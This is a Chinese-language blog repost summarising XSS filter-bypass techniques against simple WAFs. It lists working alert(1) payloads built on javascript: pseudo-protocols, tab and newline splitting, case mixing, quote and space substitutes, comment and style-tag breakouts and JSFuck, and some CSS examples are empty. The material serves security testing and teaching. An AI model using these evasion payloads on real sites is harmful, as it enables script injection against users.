当前位置:   article > 正文

XSS之绕过简单WAF总结_xss绕过waf

xss绕过waf

https://www.cnblogs.com/wjrblogs/p/12341190.html

一、一般测试方法#

步骤:
0.总则:见框就插
1.在输入框随便输入一些简单的字符,如 aaa,方便后续查找输出位置
2.按下F12打开开发者模式,ctrl+F键,搜索 aaa
3.多数情况下是在标签的value="aaa"中,或者独立出来包含在一些别的标签中,如div、span等
4.根据特定情况构造payload,一般是直接构造标签或者闭合标签再构造或者利用伪协议等

二、常用技巧#

1.JS伪协议利用
形式:javascript:[代码]
示例:<table background="javascript:alert(1)"></table>,引号可以去掉
支持伪协议的属性有:href,lowsrc,bgsound,background,action,dynsrc

2.基于黑名单的过滤
① js代码 中,利用空格,回车,tab键,切记只有""包裹的js代码才可以随便利用空格、回车、tab键,例如src=“java script:xxxx”,而这样不行:src=java script:xxxx
,而且回车、换行不支持在on事件中使用,空格可以

js引擎特性:js语句通常以分号结尾,但是如果引擎判断一条语句完整的话,且结尾有换行符,就可以省略分号

例:

var a = 1
var b = 2;
//上述语句正确
  • 1
  • 2
  • 3

示例:<img src="javas cript:alert(1)">,中间为tab键

    用于绕过某些XSS防护
<img src="jav   ascript:alert('XSS');">

    也可以对TAB编码
<img src="jav&#x09;ascript:alert('XSS');">

    利用换行符拆解
<img src="jav&#x0A;ascript:alert('XSS');">

    利用回车拆解
<img src="jav&#x0D;ascript:alert('XSS');">
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

② 大小写混淆

示例:<IMg SRc oNERRoR=aLERT(1)>

③ 编码绕过

暂无

④ 奇淫技巧

1.过滤引号
策略:双引号不行单引号;单引号不行不要引号;不要引号不行试试反引号 `(IE支持)

2.过滤空格
策略:/**/,注释符号绕过;/符号绕过;
例:<img/src/onerror=alert(1)>

3.属性关键词被过滤
策略:插入/**/\\0
示例:

Copy
//1./**/

//2.\\0只能在css样式\js中使用,两者会被浏览器忽略

4.<!-- -->注释绕过
<!--<img src="--><img src onerror=alert(1)//">
解释:

<style><img src="</style><img src onerror=alert(1)//">
解释:

5.利用 JSFuck 绕过关键词过滤

JSFuck

3.js事件执行代码
示例:<img src onerror=alert(1)>
js事件:onerror,onclick,onmouseover,onkeydown·········
其他事件查询:https://www.w3school.com.cn/tags/html_ref_eventattributes.asp

4.利用css跨站 (style属性或者style标签)

① 直接执行

利用的是属性中的 url ,跟伪协议相似
示例:

Copy
//1.

//2.

//3.

② IE 下利用 expression

解释:expression用来吧CSS属性与js表达式关联起来,其中CSS属性可以是元素固有的属性,也可以是自定义属性,如下示例中的1、2,
示例:

Copy
//1.

//2.

//3.

//4.

③ 引用外部css文件执行xss

示例:

Copy
//1. 利用 link 标签

//2.利用 @import 导入

//3.@import特性–直接执行js代码

三、更新内容 – 利用JS全局变量绕过XSS过滤器#

原文地址:声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】

推荐阅读
相关标签